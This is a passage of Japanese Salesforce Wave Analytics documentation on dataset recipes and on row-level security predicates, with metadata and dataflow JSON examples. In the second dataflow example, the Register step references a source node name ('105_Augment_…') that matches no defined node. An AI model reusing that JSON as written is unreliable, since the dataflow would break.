3. [数式] ボックスで、数式の入力を開始します。

入力すると、ビルダーによって一致する算術関数と基準項目が提案されます。

4. 提案を選択するには、クリックするか、カーソルの上下キーを使用して選択し、Enter または Tab キーを押
します。

5. 必要に応じて、キーボードを使用して括弧、算術演算子、および数値を入力します。
6. 数式が完了したら、[数式項目を作成] をクリックします。

新しい数式項目が [レシピのプレビュー] に表示されます。
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ヒント: 数式項目をバケット化したり、レシピの他の式で参照したりできます。

数式項目では次の算術関数を使用できます。各関数の引数は、リテラル値または基準項目のいずれかになりま
す。

表示形式説明関数

abs(number)数値の絶対値を計算します。数値
の絶対値とは、正または負の記号
のない数値のことです。

abs

ceil(number)数値を、もっとも近い整数に切り
上げます。

ceil

exp(number)e を指定した指数まで掛け合わせた
値を返します。

exp

floor(number)もっとも近い整数に切り捨てられ
た数値を返します。

floor

log(number)数値の基数 10 の対数を返します。log

power(number, power)指定した数の累乗まで数値を乗算
します。

power

round(number, number of
digits)

指定した数値にもっとも近い数値
を返します。新しい数値は、指定
した桁数で制限します。

round

sqrt(number)指定された数値の正の平方根を返
します。

sqrt

trunc(number)数値を整数に切り捨てます。trunc
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データセットレシピの項目の変換
特に各種ソースのデータを結合する場合、データの一貫性を確保できないことがあります。データセットレシ
ピでは、項目を変換して対象データセットの値の一貫性を確保できます。大文字/小文字を変更したり、値を
分割または切り捨てて必要な部分のみを取得したり、不正な値を置き換えたりします。
項目を変換すると、新しい値の新規項目が元の項目の右側に追加されます。元の項目を保持するか削除するか
を選択できます。
項目を変換するには、項目ヘッダー (1) をクリックして、[提案を変換] ボタン (2) をクリックします。サイドパ
ネル (3) に変換オプションが表示されます。変換を適用するには、[適用] をクリックします。完了したら、他
の項目ヘッダーをクリックして別の項目に進みます。

適用できる項目変換を次に示します。

例説明変換

米国の州の値を修正します。
ca が CA になります。

選択した項目の値を大文字に
変換します。

展示会で入手したリードのメールアドレスを修
正します。
JSMITH@FORRESTER.COM が
jsmith@forrester.com になります。

選択した項目の値を小文字に
変換します。

電話番号を市外局番と番号に分割します。
区切り文字として -を選択し、925-900 2123

を 925と 900 2123の 2 つの値に分割します。

区切り文字で値を複数の部分
に分割し、各部分で新しい項
目を作成します。
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例説明変換

日付値から月を抽出します。
[位置] に「4」、[文字数] に「2」と入力して、
日付値 2016-10-23から月の値 10を抽出しま
す。

値の文字の [位置] から [文字
数] の文字数を新しい項目と
して抽出します。

国の値の一貫性を保ちます。
USのすべてのインスタンスを [検索]して、USA

に [置換] します。

項目の特定の値を検索して、
新しい値に置換します。置換
された値とそのままの値の両
方が含まれる新しい項目が作
成されます。

重要:  Wave データセットには、既存の日時項目から自動的に派生した日時コンポーネント項目 (年、四半
期、月など) が含まれます。これらのコンポーネント項目の変換はサポートされていません。

データセットレシピの項目の移動
データを追加して項目を変換すると、レシピのプレビューの項目数が増加します。そのため、作業する項目を
見つけづらくなります。項目ナビゲータを使用すると、必要な項目をすばやく見つけたり、不要な項目を非表
示にしたりできます。ナビゲータには、API 参照名やデータ型などの項目の属性も表示されます。

レシピで項目ナビゲータを開くには、[項目を移動] ボタン ( ) をクリックします。

項目をすばやく見つけるには、[項目を検索] ボックス (1) でその名前の入力を開始し、項目のリストを絞り込み
ます。目的の項目が表示されたときに、その項目 (2) をクリックすると、レシピのプレビューで強調表示され
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ます。項目のメタデータについての詳細は、[属性] (3) をクリックします。表示しない項目は、目アイコン (4)

をクリックして非表示にします。目アイコンを再度クリックすると、項目が表示されます。また、プレビュー
でそのヘッダーにマウスポインタを置いて目アイコンをクリックし、項目を非表示にすることもできます。

メモ: デフォルトでは、ナビゲータで非表示にした項目はレシピの実行時に含まれません。ただし、レシ
ピの実行時に項目が含まれるように選択することもできます。

レシピステップの移動および編集
データを準備するにつれ、各変更内容がレシピステップとして左側に表示されます。これらのステップをレシ
ピの履歴だと考えてください。この履歴を移動して、レシピの各フェーズでデータがどのようになっているの
かを確認できます。確認した内容に問題があれば、ステップを編集または削除できます。

レシピステップのアクションにアクセスするには、ステップにマウスポインタを置いて をクリックしま
す。

メモ: 各ステップで使用できるアクションは、ステップの位置によって異なります。

アクションの内容を次に示します。

説明アクション

現在のステップを編集します。数式項目や項目変換をインラインで編集できます。編集
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説明アクション

ヒント: 青色の値をクリックしてステップを編集することもできます。

ステップを追加する前のレシピの開始時のプレビューデータを表示します。このアクショ
ンは、最初のステップでのみ使用できます。

スタートに移動

後続のステップを追加する前の現在のステップのプレビューデータを表示します。移動

現在のステップを削除します。削除

現在のステップの後のすべてのステップを削除します。以降のステップ
をすべて削除

メモ: ステップを削除すると、後続のステップが動作しなくなる可能性があります。たとえば、後続の数
式項目で使用される数式項目ステップを削除すると、Wave は 2 番目の数式を計算できなくなります。こ
のような場合、エラーの説明と共に、影響を受けるステップが赤色で表示され、ステップを編集する必
要があることが警告されます。

データセットレシピの保存
対象データセットを作成する準備がまだできていない場合、レシピを保存して後で戻ります。保存ではステッ
プのみが保存されるため、データセットを作成する必要はありません。
レシピを保存するには、[保存] をクリックします。

レシピを保存するオプションは 2 つあります。
レシピを保存

開始時に入力した名前でレシピを保存します。レシピは実行されません。進行状況を保存する場合にこの
オプションを使用します。
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新規として保存...

開始時に入力した名前でレシピのコピーを保存します。データマネージャの新しいタブでコピーが開きま
す。元のレシピを変更せずにレシピで別の変換を試す場合にこのオプションを使用します。

重要: [新規として保存] オプションで作成したレシピのレシピ名と対象データセット名は元のレシピと同
じです。同じ名前の対象データセットが作成されないように、元のレシピと新しいレシピの両方ではな
くいずれかを実行することをお勧めします。

データマネージャの [準備する] タブで保存済みレシピを開いて、更新または実行します。「データセットレシ
ピの管理および監視」を参照してください。

データセットレシピの実行

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

レシピを作成する
• 「Wave Analytics デー

タフローの編集」

新しいレシピを実行して対象データセットを作成するか、既存のレシピを実行
して対象データセットを更新します。
レシピを実行する場合、対象データセットのアプリケーションを選択し、必要
に応じてセキュリティ述語を入力して、対象データセットに含める項目を選択
します。レシピは 1 回のみ実行できます。または、スケジュールに従って実行
するように設定することもできます。
1. データセットレシピページで、[データセットを作成] をクリックします。

[レシピを実行] ダイアログが表示されます。

2. [アプリケーション] 選択リストから、対象データセットを作成する場所を選択します。
3. 必要に応じて、対象データセットのセキュリティ述語を入力します。「データセットの行レベルセキュリ

ティ」を参照してください。
4. 項目のリストで、必要な項目が選択されていることを確認します。

メモ: デフォルトでは、レシピのプレビューで削除または非表示にした項目は選択されません。これ
らの項目は必ず確認してください。
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5. [次へ] をクリックします。
スケジュールダイアログが表示されます。

6. [スケジュールに従って実行] を選択して頻度を入力するか、[1 回のみ実行] を選択します。
7. [データセットレシピを実行] をクリックします。

レシピが実行キューに追加されます。

データセットレシピの管理および監視
データマネージャの [準備する] タブでレシピや対象データベースの状況を確認します。レシピを開いて、レシ
ピの更新、実行、または削除を行うことができます。

Wave Analyticsでデータマネージャを開くには、ギアアイコン ( ) をクリックし、[データマネージャ]をクリッ
クします。
データマネージャの [準備する] タブには、レシピとそれらに関連付けられた対象データセットが表示されま
す。

レシピのアイコンや状況は、現在の状態を示しています。
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説明状況アイコン

実行済みの新規または更新されたレシ
ピ。

実行済み

保存されたが実行されていない新規ま
たは更新されたレシピ。

保存済み

対象データセットのアイコンや状況は、現在の状態を示しています。

説明状況アイコン

データセットが作成されて、最新の状
態になっています。

最新

データセットは作成されていますが、
現在最新の状態になっていません。こ

最新でない

れは、そのレシピが更新されたものの
実行されていないか、実行キューに追
加されているためです。

データセットが作成されていません。
これは、そのレシピが作成されたが一

未作成

度も実行されていないか、実行キュー
に追加されているためです。

レシピを開いて更新または実行します。レシピをクリックするか、アクションメニューを開いて [レシピを開
く] を選択します。

ここからレシピを削除することもできます。

メモ: レシピを削除しても、その対象データセットは削除されません。

実行したレシピの進行状況を表示するには、[監視] をクリックします。レシピは、[監視] の [ジョブビュー] に
個別のジョブとして表示されます。
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データセットの行レベルセキュリティ
データセットへのアクセス権を持つWave Analyticsユーザには、デフォルトでデータセット内のすべてのレコー
ドへのアクセス権があります。ただし、データセットに行レベルセキュリティを実装してレコードへのアクセ
スを制限できます。レコードに機密データが含まれている場合など、アクセスの制限が必要になることがあり
ます。
行レベルセキュリティを実装するには、レコードへのアクセスを制限するデータセットごとに述語を定義しま
す。述語とは、データセットのレコードへの行レベルアクセス権を定義する絞り込み条件です。
述語が適用されたデータセットに対してユーザがクエリを送信すると、Wave Analytics は述語をチェックして
ユーザにアクセス権があるレコードを判別します。ユーザにレコードへのアクセス権がない場合、Wave Analytics

はそのレコードを返しません。
述語は柔軟性があり、さまざまな種類のセキュリティポリシーをモデル化できます。たとえば、次のような条
件に基づいて述語を作成できます。
• レコード所有権。各ユーザは自分が所有するレコードのみを表示できます。
• 管理者による表示。各ユーザは、ロール階層に基づいて自分の部下が所有または共有するレコードを表示

できます。
• チームまたは取引先のコラボレーション。商談チームなど、チームの全メンバーは、チームと共有されて

いるレコードを表示できます。
• 複数のセキュリティ要件の組み合わせ。たとえば、Salesforce ロール階層、チーム、レコード所有権に基づ

いて述語の定義が必要な場合があります。
実装するセキュリティポリシーの種類は、データセットのレコードへのアクセスを制限する方法に応じて異な
ります。

警告: 行レベルセキュリティがデータセットに適用されていないと、データセットへのアクセス権があれ
ばどのユーザでもデータセット内のすべてのレコードを表示できます。

データセットの述語定義時の考慮事項
データセットに述語を適用する場合、述語式の定義以外にも考慮が必要です。述語がデータセットの情報
にどう依存するか、およびどこに述語式を定義するかを考慮する必要があります。
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レコード所有権に基づく行レベルセキュリティの例
CSV ファイルに基づいてデータセットを作成し、レコード所有権に基づいて行レベルセキュリティを実装す
る例を見てみましょう。この例では、取引先所有者の販売目標を含むデータセットを作成します。データ
セットの各レコードへのアクセス権を制限するには、各ユーザが自分の所有する取引先の販売目標のみを
表示できるセキュリティポリシーを作成します。このプロセスには、以降のセクションで説明する複数の
ステップが必要です。
商談チームに基づく行レベルセキュリティの例
Salesforce データに基づいてデータセットを作成し、商談チームに基づいて行レベルセキュリティを実装す
る例を見てみましょう。この例では、商談チームに関連付けられた商談のみが含まれるデータセットを作
成します。データセットの各レコードへのアクセス権を制限するには、商談チームのメンバーのみが自分
たちの商談を表示できるセキュリティポリシーを作成します。このプロセスには、以降のセクションで説
明する複数のステップが必要です。
ロール階層とレコード所有権に基づく行レベルセキュリティの例
Salesforce データに基づいてデータセットを作成し、Salesforce ロール階層とレコード所有権に基づいて行レ
ベルセキュリティを実装する例を見てみましょう。この例では、すべての商談が含まれるデータセットを
作成します。データセットの各レコードへのアクセス権を制限するには、Salesforce ロール階層に基づいて
各ユーザが自分または自分の部下が所有する商談のみを表示できるセキュリティポリシーを作成します。
このプロセスには、以降のセクションで説明する複数のステップが必要です。

関連トピック:

sfdcRegister 変換
sfdcRegister パラメータ

データセットの述語定義時の考慮事項
データセットに述語を適用する場合、述語式の定義以外にも考慮が必要です。述語がデータセットの情報にど
う依存するか、およびどこに述語式を定義するかを考慮する必要があります。
述語式はデータセットの情報に基づいて作成できます。たとえば、各ユーザが自分の所有するデータセットレ
コードのみを表示できるようにする場合は、各レコードの所有者が含まれるデータセット列に基づいて述語を
作成できます。必要な場合は、述語で要求されるデータセットに追加のデータを読み込むことができます。
述語を定義する場所は、場合によって異なります。
• データフローから作成されたデータセットに述語を適用するには、Register 変換の [rowLevelSecurityFilter] 項

目に述語を追加します。次回データフローが実行されると、Wave Analytics によって述語が適用されます。
• 外部データファイルから作成されたデータセットに述語を適用するには、外部データファイルに関連付け

られたメタデータファイルの [rowLevelSecurityFilter] 項目に述語を定義します。メタデータファイルと外部
データファイルをアップロードするときに、Wave Analytics によって述語が適用されます。外部データファ
イルからすでにデータセットを作成している場合は、データセットを編集して述語を適用または変更でき
ます。
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レコード所有権に基づく行レベルセキュリティの例
CSV ファイルに基づいてデータセットを作成し、レコード所有権に基づいて行レベルセキュリティを実装する
例を見てみましょう。この例では、取引先所有者の販売目標を含むデータセットを作成します。データセット
の各レコードへのアクセス権を制限するには、各ユーザが自分の所有する取引先の販売目標のみを表示できる
セキュリティポリシーを作成します。このプロセスには、以降のセクションで説明する複数のステップが必要
です。

メモ: これは、CSV ファイルから作成されたデータセットに述語を適用する例ですが、この手順は Salesforce

データから作成されたデータセットにも適用できます。

1. データセットに含めるデータの決定
最初に、データセットに含めるデータを決定します。この例では、すべての販売目標が含まれる Targets デー
タセットを作成します。

2. データセットの行レベルセキュリティの決定
ここでは行レベルセキュリティについて検討しましょう。このデータセットの各レコードへのアクセス権
をどのように制限するかを決定します。

3. メタデータファイルへの述語の追加
CSV ファイルから作成されたデータセットの場合、CSV ファイルに関連付けられているメタデータファイル
で述語を指定するか、データセットの編集時に述語を指定します。

4. データセットの作成
述語でメタデータを更新したので、データセットを作成できます。

5. データセットの行レベルセキュリティのテスト
熟語が適切に適用され、各ユーザが自分自身の販売目標を表示できることを確認する必要があります。

データセットに含めるデータの決定
最初に、データセットに含めるデータを決定します。この例では、すべての販売目標が含まれる Targets データ
セットを作成します。
次の CSV ファイルから販売目標を取得します。

目標日目標地域AccountOwner

2011 年 1 月 1 日10000中西部Tony Santos

2011 年 1 月 1 日50000北東部Lucy Timmer

2013 年 12 月 1 日0北東部Lucy Timmer

2011 年 1 月 1 日15000中西部Bill Rolley

2011 年 1 月 1 日35000南西部Keith Laz

2011 年 1 月 1 日40000南東部Lucy Timmer
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行レベルセキュリティを実装せずにデータセットを作成した場合、データセットへのアクセス権があればどの
ユーザでもすべての取引先所有者の販売目標を表示できます。たとえば、Keith は次のようにすべての取引先所
有者の販売目標を表示できます。

このデータセットのレコードへのアクセス権を制限するには、行レベルセキュリティを適用する必要がありま
す。

データセットの行レベルセキュリティの決定
ここでは行レベルセキュリティについて検討しましょう。このデータセットの各レコードへのアクセス権をど
のように制限するかを決定します。
データセットに次の述語を実装することを決定します。
'AccountOwner' == "$User.Name"

メモ: このドキュメントでは、すべての述語の例で二重引用符がエスケープされています。これは、Register

変換またはメタデータファイルに述語を入力する場合にエスケープする必要があるためです。この述語
では、レコード所有権に基づいて行レベルセキュリティを実装します。述語に基づいて、データセット
に対するクエリを送信するユーザが取引先所有者である場合、Wave Analyticsは販売目標レコードを返しま
す。

述語式を詳しく見てみましょう。
• AccountOwner は、販売目標ごとに取引先所有者の氏名が保存されるデータセット列です。
• $User.Name は、各ユーザの氏名が保存される User オブジェクトの Name 列です。Wave Analytics はルックアッ

プを実行して、各クエリを送信したユーザの氏名を取得します。

メモ: ルックアップでは、AccountOwner の名前と $User.Name が大文字と小文字も含めて完全一致した場合
に一致結果を返します。
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メタデータファイルへの述語の追加
CSV ファイルから作成されたデータセットの場合、CSV ファイルに関連付けられているメタデータファイルで
述語を指定するか、データセットの編集時に述語を指定します。
メタデータファイルに述語を入力するときに、文字列値を囲む二重引用符をエスケープする必要があります。
この例では、次のように述語をメタデータファイルに追加します。
{

"fileFormat": {
"charsetName": "UTF-8",
"fieldsDelimitedBy": ",",
"fieldsEnclosedBy": "\"",
"numberOfLinesToIgnore": 1 },
"objects": [

{
"name": "Targets",
"fullyQualifiedName": "Targets",
"label": "Targets",
"rowLevelSecurityFilter": "'AccountOwner' == \"$User.Name\"",
"fields": [

{
"name": "AccountOwner",
"fullyQualifiedName": "Targets.AccountOwner",
"label": "Account Owner",
"type": "Text"

},
{

"name": "Region",
"fullyQualifiedName": "Targets.Region",
"label": "Region",
"type": "Text"

},
{

"name": "Target",
"fullyQualifiedName": "Targets.Target",
"label": "Target",
"type": "Numeric",
"precision": 16,
"scale": 0,
"defaultValue": "0",
"format": null

},
{

"name": "TargetDate",
"fullyQualifiedName": "Targets.TargetDate",
"label": "TargetDate",
"description": "",
"type": "Date",
"format": "dd/MM/yy HH:mm:ss",
"isSystemField": false,
"fiscalMonthOffset": 0

}
]
}
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]
}

データセットの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

CSV ファイルとメタデータ
ファイルをアップロード
する
• 「外部データを Wave

Analytics にアップロー
ド」

述語でメタデータを更新したので、データセットを作成できます。

警告: このサンプル実装の手順を実行する場合は、本番以外の環境で実行
してください。すでに作成した他のデータセットにこれらの変更が影響を
与えないようにしてください。

データセットを作成するには、次の手順を実行します。
1. Wave Analytics でホームページに移動します。
2. [作成] > [データセット] をクリックします。
3. [CSV] をクリックします。

次の画面が表示されます。

4. CSV ファイルとメタデータ (スキーマ) ファイルを選択します。
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5. [データセット名] 項目に、データセット名として「SalesTarget」と入力します。
6. 必要に応じて、データセットを保存する別のアプリケーションを選択します。
7. [データセットを作成] をクリックします。

Wave Analytics は、アップロードが成功したことを確認してから、データセットを作成するジョブを作成し
ます。ジョブが正常に完了すると、SalesTarget データセットを表示できます。

8. ジョブが正常に完了したことを確認するには、次の手順を実行します。
a. ギアアイコン ( ) をクリックし、[データ監視] を選択してデータ監視を開きます。

デフォルトでは、データ監視のジョブビューが表示されます。ジョブビューには、データフロージョブ
と外部データアップロードジョブの状況が表示されます。

b. ジョブの最新の状況を表示するには、[ジョブを更新] ボタン ( ) をクリックします。

データセットの行レベルセキュリティのテスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

熟語が適切に適用され、各ユーザが自分自身の販売目標を表示できることを確
認する必要があります。
1. Wave Analytics に Keith としてログインします。
2. SalesTargets データセットを開きます。

次のレンズのように、Keith は自分の販売目標のみを表示できます。
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商談チームに基づく行レベルセキュリティの例
Salesforce データに基づいてデータセットを作成し、商談チームに基づいて行レベルセキュリティを実装する例
を見てみましょう。この例では、商談チームに関連付けられた商談のみが含まれるデータセットを作成しま
す。データセットの各レコードへのアクセス権を制限するには、商談チームのメンバーのみが自分たちの商談
を表示できるセキュリティポリシーを作成します。このプロセスには、以降のセクションで説明する複数のス
テップが必要です。

1. データセットに含めるデータの決定
最初に、データセットに含めるデータを決定します。この例では、商談チームに関連付けられた商談のみ
が含まれる OppTeamMember データセットを作成します。

2. データを読み込むデータフローの設計
ここでは、データフローが Salesforce データを抽出してデータセットに読み込む方法を説明します。最初に、
データフローの概要レベルの設計を作成します。

3. データセットの行レベルセキュリティの決定
ここでは行レベルセキュリティについて検討しましょう。このデータセットの各レコードへのアクセス権
をどのように制限するかを決定します。

4. 行レベルセキュリティに基づいたデータフローの変更
ここでは、述語をデータフロー定義ファイルに追加します。

5. データセットの作成
最終的なデータフロー定義ファイルができたので、データセットを作成できます。

6. データセットの行レベルセキュリティのテスト
熟語が適切に適用され、各ユーザが適切な商談を表示できることを確認する必要があります。

データセットに含めるデータの決定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

最初に、データセットに含めるデータを決定します。この例では、商談チーム
に関連付けられた商談のみが含まれる OppTeamMember データセットを作成しま
す。
Opportunity オブジェクトから商談、OpportunityTeamMember オブジェクトから商談
チームを取得します。両方とも Salesforce のオブジェクトです。
この例では、Salesforce 組織に次の商談チームとユーザが含まれます。
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組織には次の商談も含まれます。これらのほとんどは Keith が所有しています。

Acc - 1000 Widgets は、商談チームが共有している唯一の商談です。Bill はこの商談の営業マネージャです。Tony

は商談所有者です。

データを読み込むデータフローの設計

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ここでは、データフローが Salesforce データを抽出してデータセットに読み込む
方法を説明します。最初に、データフローの概要レベルの設計を作成します。

データフローは Opportunity および OpportunityTeamMember オブジェクトからデー
タを抽出し、データを結合してから、OppTeamMember データセットに読み込み
ます。
次に、その設計をデータフロー定義ファイルの形式である JSON で実装しましょ
う。データフロー定義ファイルには、データを抽出し、変換してデータセットに読み込む変換が含まれます。
設計に基づいて、次の JSON を作成します。
{

"Extract_OpportunityTeamMember": {
"action": "sfdcDigest",
"parameters": {

"object": "OpportunityTeamMember",
"fields": [

{ "name": "Name" },
{ "name": "OpportunityId" },
{ "name": "UserId" }

]
}
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},
"Extract_Opportunity": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Augment_OpportunityTeamMember_Opportunity": {

"action": "augment",
"parameters": {

"left": "Extract_OpportunityTeamMember",
"left_key": [

"OpportunityId"
],
"relationship": "TeamMember",
"right": "Extract_Opportunity",
"right_key": [

"Id"
],
"right_select": [

"Name","Amount"
]

}
},
"Register_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppTeamMember",
"name": "OppTeamMember",
"source": "Augment_OpportunityTeamMember_Opportunity",
"rowLevelSecurityFilter": ""

}
}

}

このデータフローを実行すると、Wave Analyticsは行レベルセキュリティなしでデータセットを生成します。そ
の結果、データセットへのアクセス権があればどのユーザでも商談チームが共有する商談を表示できます。
たとえば、Lucy は次のようにメンバーではない商談チームに属する商談を表示できます。
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このデータセットのレコードへのアクセス権を制限するには、行レベルセキュリティを適用する必要がありま
す。

データセットの行レベルセキュリティの決定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ここでは行レベルセキュリティについて検討しましょう。このデータセットの
各レコードへのアクセス権をどのように制限するかを決定します。
データセットに次の述語を実装することを決定します。

'UserId' == "$User.Id"

この述語は、データセットの UserId 列を、データセットに対してクエリを実行しているユーザの ID と比較しま
す。データセットの UserId 列には、各商談に関連付けられたチームメンバーのユーザ ID が含まれます。クエリ
を実行しているユーザの ID を判別するために、Wave Analyticsは、そのユーザの ID を User オブジェクトでルック
アップします。
一致するたびに、Wave Analytics はレコードをユーザに返します。
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行レベルセキュリティに基づいたデータフローの変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ここでは、述語をデータフロー定義ファイルに追加します。
OppTeamMember データセットを登録する Register 変換に次のように述語を追加し
ます。

{
"Extract_OpportunityTeamMember": {

"action": "sfdcDigest",
"parameters": {

"object": "OpportunityTeamMember",
"fields": [

{ "name": "Name" },
{ "name": "OpportunityId" },
{ "name": "UserId" }

]
}

},
"Extract_Opportunity": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Augment_OpportunityTeamMember_Opportunity": {

"action": "augment",
"parameters": {

"left": "Extract_OpportunityTeamMember",
"left_key": [

"OpportunityId"
],
"relationship": "TeamMember",
"right": "Extract_Opportunity",
"right_key": [
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"Id"
],
"right_select": [

"Name","Amount"
]

}
},
"Register_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppTeamMember",
"name": "OppTeamMember",
"source": "105_Augment_OpportunityTeamMember_Opportunity",
"rowLevelSecurityFilter": "'UserId' == \"$User.Id\""

}
}

}

データセットの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

データフローをダウン
ロード、アップロード、
実行、監視する
• 「Wave Analytics デー

タフローの編集」

最終的なデータフロー定義ファイルができたので、データセットを作成できま
す。

警告: このサンプル実装の手順を実行する場合、必要な Salesforce オブジェ
クトおよび項目がすべてあることを確認し、本番以外の環境で手順を実行
してください。すでに作成した他のデータセットにこれらの変更が影響を
与えないようにしてください。また、既存のデータフロー定義ファイルの
古いバージョンは取得できないため、ファイルは変更前に必ずバックアッ
プしてください。

データセットを作成するには、次の手順を実行します。
1.

Wave Analytics で、ギアアイコン ( ) をクリックし、[データ監視] を選択し
てデータ監視を開きます。
データ監視のジョブビューがデフォルトで表示されます。

2. [データフロービュー] を選択します。
3. データフローのアクションリスト (1) をクリックし、[ダウンロード]を選択し

て既存のデータフロー定義ファイルをダウンロードします。
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4. JSON またはテキストエディタでデータフロー定義ファイルを開きます。
5. 前のステップで決定された JSON を追加します。
6. データフロー定義ファイルを保存する前に、JSON 検証ツールを使用して JSON が有効であることを検証しま

す。
無効な JSON が含まれるデータフロー定義ファイルをアップロードしようとするとエラーになります。JSON

検証ツールはインターネットで見つけることができます。
7. データフロー定義ファイルを保存して閉じます。
8. データ監視のデータフロービューで、データフローのアクションリストをクリックして [アップロード] を

選択します。
9. 更新したデータフロー定義ファイルを選択して [アップロード] をクリックします。
10. データ監視のデータフロービューで、データフローのアクションリストをクリックして [実行] を選択し、

データフロージョブを実行します。
11. データフロージョブの最新の状況を表示するには、[ジョブを更新] ボタン ( ) をクリックします。

データフロージョブが正常に完了すると、OppTeamMember データセットを表示できます。

メモ: 以前に作成されたデータセットに述語を追加する場合、述語を有効にするには各ユーザがログアウ
トしてから再度ログインする必要があります。

データセットの行レベルセキュリティのテスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

熟語が適切に適用され、各ユーザが適切な商談を表示できることを確認する必
要があります。
1. Wave Analytics に Lucy としてログインします。
2. OppTeamMember 商談を開きます。

Lucy は商談チームのメンバーではないため、商談チームに関連付けられた商
談をもう表示できません。

4559

データインテグレーション分析



3. ログアウトし、今度は Bill としてログインします。
Bill は、メンバーとして属している商談チームが共有している商談を表示できます。

ロール階層とレコード所有権に基づく行レベルセキュリティの例
Salesforce データに基づいてデータセットを作成し、Salesforce ロール階層とレコード所有権に基づいて行レベル
セキュリティを実装する例を見てみましょう。この例では、すべての商談が含まれるデータセットを作成しま
す。データセットの各レコードへのアクセス権を制限するには、Salesforce ロール階層に基づいて各ユーザが自
分または自分の部下が所有する商談のみを表示できるセキュリティポリシーを作成します。このプロセスに
は、以降のセクションで説明する複数のステップが必要です。

1. データセットに含めるデータの決定
最初に、データセットに含めるデータを決定します。この例では、すべての商談と、各商談所有者に関す
るユーザ詳細 (氏名、ディビジョン、役職など) が含まれる OppRoles データセットを作成します。

2. データを読み込むデータフローの設計
ここでは、データフローがデータを抽出してデータセットに読み込む方法を説明します。最初に、データ
フローの概要レベルの設計を作成します。
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3. データセットの行レベルセキュリティの決定
ここでは行レベルセキュリティについて検討しましょう。このデータセットの各レコードへのアクセス権
をどのように制限するかを決定します。

4. 行レベルセキュリティに基づいたデータフローの変更
ここでは、述語を考慮してデータフロー定義ファイルを変更します。

5. データセットの作成
最終的なデータフロー定義ファイルができたので、データセットを作成できます。

6. データセットの行レベルセキュリティのテスト
熟語が適切に適用され、各ユーザが適切な商談を表示できることを確認する必要があります。

関連トピック:

flatten パラメータ

データセットに含めるデータの決定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

最初に、データセットに含めるデータを決定します。この例では、すべての商
談と、各商談所有者に関するユーザ詳細 (氏名、ディビジョン、役職など) が含
まれる OppRoles データセットを作成します。
Opportunity オブジェクトから商談、User オブジェクトからユーザ詳細を取得しま
す。両方とも Salesforce のオブジェクトです。
この例では、Salesforce 組織には次のロール階層とユーザがあります。

また、組織には次の商談が含まれます。これらのほとんどは Keith が所有しています。
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データを読み込むデータフローの設計

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ここでは、データフローがデータを抽出してデータセットに読み込む方法を説
明します。最初に、データフローの概要レベルの設計を作成します。

データフローは Opportunity および User オブジェクトからデータを抽出し、デー
タを結合してから、OppRoles データセットに読み込みます。
次に、その設計をデータフロー定義ファイルの形式である JSON で実装しましょ
う。データフロー定義ファイルには、データを抽出し、変換してデータセット
に読み込む変換が含まれます。
設計に基づいて、次の JSON を作成します。
{

"Extract_Opportunity": {
"action": "sfdcDigest",
"parameters": {
"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }
]

}
},
"Extract_User": {
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"action": "sfdcDigest",
"parameters": {
"object": "User",
"fields": [

{ "name": "Id" },
{ "name": "Username" },
{ "name": "LastName" },
{ "name": "FirstName" },
{ "name": "Name" },
{ "name": "CompanyName" },
{ "name": "Division" },
{ "name": "Department" },
{ "name": "Title" },
{ "name": "Alias" },
{ "name": "CommunityNickname" },
{ "name": "UserType" },
{ "name": "UserRoleId" }
]

}
},
"Augment_Opportunity_User": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunity",
"left_key": [

"OwnerId"
],
"right": "Extract_User",
"relationship": "Owner",
"right_select": [

"Name"
],
"right_key": [

"Id"
]

}
},
"Register": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppRoles",
"name": "OppRoles",
"source": "Augment_Opportunity_User",
"rowLevelSecurityFilter": ""

}
}

}

このデータフローを実行すると、Wave Analyticsは行レベルセキュリティなしでデータセットを生成します。そ
